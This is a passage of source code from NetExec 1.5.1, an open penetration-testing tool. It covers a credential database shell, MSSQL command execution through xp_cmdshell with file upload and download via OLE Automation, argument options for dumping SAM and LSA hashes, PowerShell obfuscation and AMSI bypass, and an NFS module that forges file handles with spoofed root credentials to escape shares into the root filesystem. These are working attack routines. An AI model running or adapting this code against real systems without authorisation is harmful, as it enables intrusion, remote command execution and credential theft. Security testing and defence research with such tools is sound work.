Host(s)", cred[1], # cred_type cred[2], # domain cred[3], # username cred[4], # password ] ) print_table(data, title="Credentials") def display_hosts(self, hosts): data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] for host in hosts: links = self.db.get_admin_relations(host_id=host[0]) data.append( [ host[0], str(len(links)) + " Cred(s)", host[1], host[2], host[3], host[4], host[5], ] ) print_table(data, title="Hosts") def do_hosts(self, line): filter_term = line.strip() if filter_term == "": hosts = self.db.get_hosts() self.display_hosts(hosts) else: hosts = self.db.get_hosts(filter_term=filter_term) if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: data = [["HostID", "IP", "Hostname", "Domain", "OS"]] host_id_list = [] for host in hosts: host_id_list.append(host[0]) data.append([host[0], host[1], host[2], host[3], host[4]]) print_table(data, title="Host(s)") data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) for link in links: link_id, cred_id, host_id = link creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) print_table(data, title="Credential(s) with Admin Access") def do_creds(self, line): filter_term = line.strip() if filter_term == "": creds = self.db.get_credentials() self.display_creds(creds) elif filter_term.split()[0].lower() == "add": args = filter_term.split()[1:] if len(args) == 3: domain, username, password = args if validate_ntlm(password): self.db.add_credential("hash", domain, username, password) else: self.db.add_credential("plaintext", domain, username, password) else: print("[!] Format is 'add domain username password") return elif filter_term.split()[0].lower() == "remove": args = filter_term.split()[1:] if len(args) != 1: print("[!] Format is 'remove '") return else: self.db.remove_credentials(args) self.db.remove_links(credIDs=args) elif filter_term.split()[0].lower() == "plaintext": creds = self.db.get_credentials(cred_type="plaintext") self.display_creds(creds) elif filter_term.split()[0].lower() == "hash": creds = self.db.get_credentials(cred_type="hash") self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) data = [["CredID", "CredType", "Domain", "UserName", "Password"]] cred_id_list = [] for cred in creds: cred_id_list.append(cred[0]) data.append([cred[0], cred[1], cred[2], cred[3], cred[4]]) print_table(data, title="Credential(s)") data = [["HostID", "IP", "Hostname", "Domain", "OS"]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) for link in links: link_id, cred_id, host_id = link hosts = self.db.get_hosts(host_id) for host in hosts: data.append([host[0], host[1], host[2], host[3], host[4]]) print_table(data, title="Admin Access to Host(s)") def do_clear_database(self, line): if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": self.db.clear_database() @staticmethod def help_clear_database(): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) def complete_hosts(self, text, line): """Tab-complete 'creds' commands""" commands = ("add", "remove") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] def complete_creds(self, text, line): """Tab-complete 'creds' commands""" commands = ("add", "remove", "hash", "plaintext") mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] NetExec-1.5.1/nxc/protocols/mssql/mssqlexec.py000077500000000000000000000120751514706431700214220ustar00rootroot00000000000000import binascii class MSSQLEXEC: def __init__(self, connection, logger): self.mssql_conn = connection self.logger = logger # Store the original state of options that have to be enabled/disabled in order to restore them later self.backuped_options = {} def execute(self, command): result = None self.backup_and_enable("advanced options") self.backup_and_enable("xp_cmdshell") try: cmd = f"exec master..xp_cmdshell '{command}'" self.logger.debug(f"Attempting to execute query: {cmd}") result = self.mssql_conn.sql_query(cmd) self.logger.debug(f"Raw results from query: {result}") if result: result = "\n".join(line["output"] for line in result if line["output"] != "NULL") self.logger.debug(f"Concatenated result together for easier parsing: {result}") # if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...) if "Preparing modules for first use" in result and "Completed" not in result: self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command") except Exception as e: self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") self.restore("xp_cmdshell") self.restore("advanced options") return result def restore(self, option): try: if not self.backuped_options[option]: self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) else: self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") except Exception as e: self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") def backup_and_enable(self, option): try: self.backuped_options[option] = self.is_option_enabled(option) if not self.backuped_options[option]: self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) else: self.logger.debug(f"Option '{option}' is already enabled.") except Exception as e: self.logger.error(f"Error when checking/enabling option '{option}': {e}") def is_option_enabled(self, option): query = f"EXEC master.dbo.sp_configure '{option}';" self.logger.debug(f"Checking if {option} is enabled: {query}") result = self.mssql_conn.sql_query(query) # Assuming the query returns a list of dictionaries with 'config_value' as the key self.logger.debug(f"{option} check result: {result}") return bool(result and result[0]["config_value"] == 1) def put_file(self, data, remote): try: self.backup_and_enable("advanced options") self.backup_and_enable("Ole Automation Procedures") hexdata = data.hex() self.logger.debug(f"Hex data to write to file: {hexdata}") query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) self.restore("Ole Automation Procedures") self.restore("advanced options") except Exception as e: self.logger.debug(f"Error uploading via mssqlexec: {e}") def file_exists(self, remote): try: query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n" self.logger.debug(f"Executing query: {query}") res = self.mssql_conn.batch(query) self.logger.debug(f"File check response: {res}") return res[0]["n"] == 1 except Exception: return False def get_file(self, remote, local): try: query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) data = self.mssql_conn.rows self.logger.debug(f"Get file returned: {data}") with open(local, "wb+") as f: f.write(binascii.unhexlify(data[0]["BulkColumn"])) except Exception as e: self.logger.debug(f"Error downloading via mssqlexec: {e}") NetExec-1.5.1/nxc/protocols/mssql/proto_args.py000066400000000000000000000063551514706431700215760ustar00rootroot00000000000000from nxc.helpers.args import DisplayDefaultsNotNone def proto_args(parser, parents): mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone) mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port") mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5) mssql_parser.add_argument("-q", "--query", metavar="QUERY", type=str, help="execute the specified query against the mssql db") mssql_parser.add_argument("--database", nargs="?", const=True, metavar="NAME", help="list databases or list tables for NAME") dgroup = mssql_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") cgroup = mssql_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cgroup = mssql_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") xgroup = cgroup.add_mutually_exclusive_group() xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") psgroup = mssql_parser.add_argument_group("Powershell Options") psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout") psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this") psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass") psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts") psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target") tgroup = mssql_parser.add_argument_group("File Operations") tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt") tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") return parser NetExec-1.5.1/nxc/protocols/nfs.py000066400000000000000000001040431514706431700170370ustar00rootroot00000000000000from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight from nxc.config import host_info_colors from pyNfsClient import ( Portmap, Mount, NFSv3, ) from pyNfsClient.const import ( NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3, NFS3ERR_NOENT, NF3REG, ) import re import uuid import math import os class FileID: root = "root" ext = "ext/xfs" btrfs = "btrfs" udf = "udf" nilfs = "nilfs" fat = "fat" lustre = "lustre" kernfs = "kernfs" invalid = "invalid" unknown = "unknown" # src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fileid_types = { 0: FileID.root, 1: FileID.ext, 2: FileID.ext, 0x81: FileID.ext, 0x4d: FileID.btrfs, 0x4e: FileID.btrfs, 0x4f: FileID.btrfs, 0x51: FileID.udf, 0x52: FileID.udf, 0x61: FileID.nilfs, 0x62: FileID.nilfs, 0x71: FileID.fat, 0x72: FileID.fat, 0x97: FileID.lustre, 0xfe: FileID.kernfs, 0xff: FileID.invalid } # src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 fsid_lens = { 0: 8, 1: 4, 2: 12, 3: 8, 4: 8, 5: 8, 6: 16, 7: 24, } class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" self.port = 111 self.portmap = None self.mnt_port = None self.mount = None self.auth = { "flavor": 1, "machine_name": uuid.uuid4().hex.upper()[0:6], "uid": 0, "gid": 0, "aux_gid": [], } self.root_escape = False # If root escape is possible, the escape_share and escape_fh will be populated self.escape_share = None self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "NFS", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def create_conn_obj(self): """Initializes and connects to the portmap and mounted folder""" try: # Portmap Initialization self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout) self.portmap.connect() # Mount Initialization self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version) self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth) self.mount.connect() # Change logging port to the NFS port self.port = self.mnt_port self.proto_logger() except Exception as e: self.logger.info(f"Error during Initialization: {e}") return False return True def enum_host_info(self): try: # Dump all registered programs programs = self.portmap.dump() self.nfs_versions = set() for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() # Check if root escape is possible self.root_escape = self.try_root_escape() self.nfs3.disconnect() def print_host_info(self): root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" try: self.mount.disconnect() self.portmap.disconnect() self.logger.info(f"Disconnect successful: {self.host}:{self.port}") except Exception as e: self.logger.fail(f"Error during disconnect: {e}") def list_dir(self, file_handle, path, recurse=1): """Process entries in NFS directory recursively with UID autodection""" def process_entries(entries, path, uid, recurse): try: contents = [] for entry in entries: if "name" in entry and entry["name"] not in [b".", b".."]: item_path = f'{path}/{entry["name"].decode("utf-8")}' # Constructing file path if entry.get("name_attributes", {}).get("present", False): if entry["name_attributes"]["attributes"]["type"] == 2 and recurse > 0: # Recursive directory listing. Entry type shows file format. 1 is file, 2 is folder. dir_handle = entry["name_handle"]["handle"]["data"] contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1) else: file_handle = entry["name_handle"]["handle"]["data"] attrs = self.nfs3.getattr(file_handle, auth=self.auth) file_size = attrs["attributes"]["size"] file_size = convert_size(file_size) uid = attrs["attributes"]["uid"] read_perm, write_perm, exec_perm = self.get_permissions(entry["name_handle"]["handle"]["data"]) contents.append({"path": item_path, "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": file_size, "uid": uid}) if entry["nextentry"]: # Processing next entries recursively contents += process_entries(entry["nextentry"], path, uid, recurse) return contents except Exception as e: self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}") attrs = self.nfs3.getattr(file_handle, auth=self.auth) self.auth["uid"] = attrs["attributes"]["uid"] if recurse == 0: read_perm, write_perm, exec_perm = self.get_permissions(file_handle) return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}] items = self.nfs3.readdirplus(file_handle, auth=self.auth) if "resfail" in items: raise Exception("Insufficient Permissions") else: entries = items["resok"]["reply"]["entries"] return process_entries(entries, path, self.auth["uid"], recurse) def export_info(self, export_nodes): """Enumerates all NFS shares and their access range""" networks = [] for node in export_nodes: # Collect the names of the groups associated with this export node group_names = self.group_names(node.ex_groups) or ["Everyone"] networks.append(group_names) # If there are more export nodes, process them recursively. More than one share. if node.ex_next: networks.extend(self.export_info(node.ex_next)) return networks def group_names(self, groups): """Enumerates all access range of the share(s)""" result = [] for group in groups: result.append(group.gr_name.decode()) # If there are more IP's, process them recursively. if group.gr_next: result.extend(self.group_names(group.gr_next)) return result def shares(self): self.logger.display("Enumerating NFS Shares") try: # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() output_export = str(self.mount.export()) networks = self.export_info(self.mount.export()) reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names shares = list(reg.findall(output_export)) # Mount shares and check permissions self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}") self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}") for share, network in zip(shares, networks, strict=True): try: mnt_info = self.mount.mnt(share, self.auth) self.logger.debug(f"Mounted {share} - {mnt_info}") if mnt_info["status"] != 0: self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}") self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}") else: file_handle = mnt_info["mountinfo"]["fhandle"] info = self.nfs3.fsstat(file_handle, self.auth) free_space = info["resok"]["fbytes"] total_space = info["resok"]["tbytes"] used_space = total_space - free_space # Autodetectting the uid needed for the share attrs = self.nfs3.getattr(file_handle, auth=self.auth) self.auth["uid"] = attrs["attributes"]["uid"] read_perm, write_perm, exec_perm = self.get_permissions(file_handle) self.mount.umnt(self.auth) self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") except Exception as e: self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}") finally: self.nfs3.disconnect() def get_permissions(self, file_handle): """Check permissions for the file handle""" try: read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ except Exception: read_perm = False try: write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY except Exception: write_perm = False try: exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE except Exception: exec_perm = False return read_perm, write_perm, exec_perm def enum_shares(self): try: nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() # Mounting NFS Shares output_export = str(self.mount.export()) reg = re.compile(r"ex_dir=b'([^']*)'") shares = list(reg.findall(output_export)) networks = self.export_info(self.mount.export()) self.logger.display("Enumerating NFS Shares Directories") for share, network in zip(shares, networks, strict=True): try: mount_info = self.mount.mnt(share, self.auth) self.logger.debug(f"Mounted {share} - {mount_info}") if mount_info["status"] != 0: self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}") continue fhandle = mount_info["mountinfo"]["fhandle"] contents = self.list_dir(fhandle, share, self.args.enum_shares) self.logger.success(share) if contents: self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}") self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}") for content in contents: self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}") except Exception as e: if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e): self.logger.fail(f"{share} - RPC Access denied") elif "RPC_AUTH_ERROR: AUTH_TOOWEAK" in str(e): self.logger.fail(f"{share} - Kerberos authentication required") elif "Insufficient Permissions" in str(e): self.logger.fail(f"{share} - Insufficient Permissions for share listing") else: self.logger.exception(f"{share} - {e}") except Exception as e: self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}") self.logger.debug("It is probably unknown format or can not access as anonymously.") finally: self.nfs3.disconnect() def get_file(self): """Downloads a file from the NFS share""" remote_file_path = self.args.get_file[0] remote_dir_path, file_name = os.path.split(remote_file_path) local_file_path = self.args.get_file[1] # Do a bit of smart handling for the local file path if local_file_path.endswith("/"): local_file_path += file_name self.logger.display(f"Downloading {remote_file_path} to {local_file_path}") try: # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() # Mount the NFS share or get the root handle if self.root_escape and not self.args.share: mount_fh = self.escape_fh elif not self.args.share: self.logger.fail("No root escape possible, please specify a share") return else: mnt_info = self.mount.mnt(self.args.share, self.auth) if mnt_info["status"] != 0: self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") return mount_fh = mnt_info["mountinfo"]["fhandle"] # Iterate over the path until we hit the file curr_fh = mount_fh for sub_path in remote_file_path.lstrip("/").split("/"): # Update the UID for the next object and get the handle self.update_auth(curr_fh) res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) # Check for a bad path if "resfail" in res and res["status"] == NFS3ERR_NOENT: self.logger.fail(f"Unknown path: {remote_file_path!r}") return curr_fh = res["resok"]["object"]["data"] # If response is file then break if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: break # Update the UID and GID for the file self.update_auth(curr_fh) # Handle files over the default chunk size of 1024 * 1024 offset = 0 eof = False # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") else: # Get the data and append it to the total file data data = file_data["resok"]["data"] eof = file_data["resok"]["eof"] # Update the offset to read the next chunk offset += len(data) # Write the file data to the local file local_file.write(data) self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth) except Exception as e: self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}') if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0: os.remove(local_file_path) def put_file(self): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() # Mount the NFS share or get the root handle if self.root_escape and not self.args.share: mount_fh = self.escape_fh elif not self.args.share: self.logger.fail("No root escape possible, please specify a share") return else: mnt_info = self.mount.mnt(self.args.share, self.auth) if mnt_info["status"] != 0: self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") return mount_fh = mnt_info["mountinfo"]["fhandle"] # Iterate over the path curr_fh = mount_fh # If target dir is "" or "/" without filter we would get one item with [""] for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))): self.update_auth(curr_fh) res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) # If the path does not exist, create it if "resfail" in res and res["status"] == NFS3ERR_NOENT: self.logger.display(f"Creating directory '/{sub_path}/'") res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) if res["status"] != 0: self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") return else: curr_fh = res["resok"]["obj"]["handle"]["data"] continue curr_fh = res["resok"]["object"]["data"] # Update the UID and GID from the directory self.update_auth(curr_fh) # Checking if file_name already exists on remote file path lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}") res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] self.update_auth(file_handle) self.logger.success(f"'{file_name}' successfully created") else: # Asking the user if they want to overwrite the file ans = input(highlight(f"[!] '{file_name}' already exists on '{remote_file_path}'. Do you want to overwrite it? [Y/n] ", "red")) if ans.lower() in ["y", "yes", ""]: self.logger.display(f"'{file_name}' already exists on '{remote_file_path}'. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] else: return # Update the UID and GID for the file self.update_auth(file_handle) # Use wtpref as the chunk size res = self.nfs3.fsinfo(file_handle, auth=self.auth) if res["status"] != 0: self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {NFSSTAT3[res['status']]}") return chunk_size = res["resok"]["wtpref"] self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'") try: offset = 0 with open(local_file_path, "rb") as file: while chunk := file.read(chunk_size): # Write the data to the remote file res = self.nfs3.write(file_handle, offset, len(chunk), chunk, 1, auth=self.auth) if res["status"] != 0: self.logger.fail(f"Error writing to '{remote_file_path}': {NFSSTAT3[res['status']]}") return offset += len(chunk) self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777") except Exception as e: self.logger.fail(f"Could not write to '{local_file_path}': {e}") # Unmount the share self.mount.umnt(self.auth) except Exception as e: self.logger.fail(f"Error writing file to share {remote_file_path}: {e}") else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") def get_root_handles(self, mount_fh): """ Get possible root handles to escape to the root filesystem Sources: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py Usually: - 1 byte: 0x01 fb_version - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type """ # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) filesystem = FileID.unknown for entry in dir_data: # Check if "." is already the root directory if entry["name"] == b".": if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: self.logger.debug("Exported share is already the root directory") return [entry["name_handle"]["handle"]["data"]] elif entry["name"] == b"..": continue else: try: fid_type = entry["name_handle"]["handle"]["data"][3] if fid_type in fileid_types: filesystem = fileid_types[fid_type] self.logger.debug(f"Found filesystem type: {filesystem}") break except Exception as e: self.logger.debug(f"Error on getting filesystem type: {e}") continue self.logger.debug(f"Filesystem type: {filesystem}") # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) fh_fsid_type = mount_fh[2] fh_fsid_len = fsid_lens[fh_fsid_type] root_handles = [] # Generate possible root handles # General syntax: 4 byte header + fsid + fileid # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 return root_handles def try_root_escape(self) -> bool: """ With an established connection look for a share that can be escaped to the root filesystem. If successfull, self.escape_share and self.escape_fh will be populated. Returns ------- bool: True if root escape was successful """ if not self.nfs3: raise Exception("NFS connection is not established") output_export = str(self.mount.export()) reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names shares = list(reg.findall(output_export)) self.logger.debug(f"Trying root escape on shares: {shares}") for share in shares: mount_info = self.mount.mnt(share, self.auth) if mount_info["status"] != 0: self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}") self.mount.umnt(self.auth) continue mount_fh = mount_info["mountinfo"]["fhandle"] try: possible_root_fhs = self.get_root_handles(mount_fh) for fh in possible_root_fhs: if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") self.escape_share = share self.escape_fh = fh self.mount.umnt(self.auth) return True except Exception as e: self.logger.debug(f"Error trying root escape on share '{share}': {e}") self.mount.umnt(self.auth) return False def ls(self): # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() # Remove leading or trailing slashes self.args.ls = self.args.ls.lstrip("/").rstrip("/") # NORMAL LS CALL (without root escape) if self.args.share: mount_info = self.mount.mnt(self.args.share, self.auth) if mount_info["status"] != 0: self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}") return else: mount_fh = mount_info["mountinfo"]["fhandle"] elif self.root_escape: # Interestingly we don't actually have to mount the share if we already got the handle self.logger.success(f"Successful escape on share: {self.escape_share}") mount_fh = self.escape_fh else: self.logger.fail("No root escape possible, please specify a share") return # We got a path to look up curr_fh = mount_fh is_file = False # If the last path is a file # If ls is "" or "/" without filter we would get one item with [""] for sub_path in list(filter(None, self.args.ls.split("/"))): # Update UID and GID for the path self.update_auth(curr_fh) res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) if "resfail" in res and res["status"] == NFS3ERR_NOENT: self.logger.fail(f"Unknown path: {self.args.ls!r}") return elif "resfail" in res: self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}") return # If file then break and only display file if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: is_file = True break curr_fh = res["resok"]["object"]["data"] # Update the UID and GID for the file/dir self.update_auth(curr_fh) dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) if dir_listing["status"] != 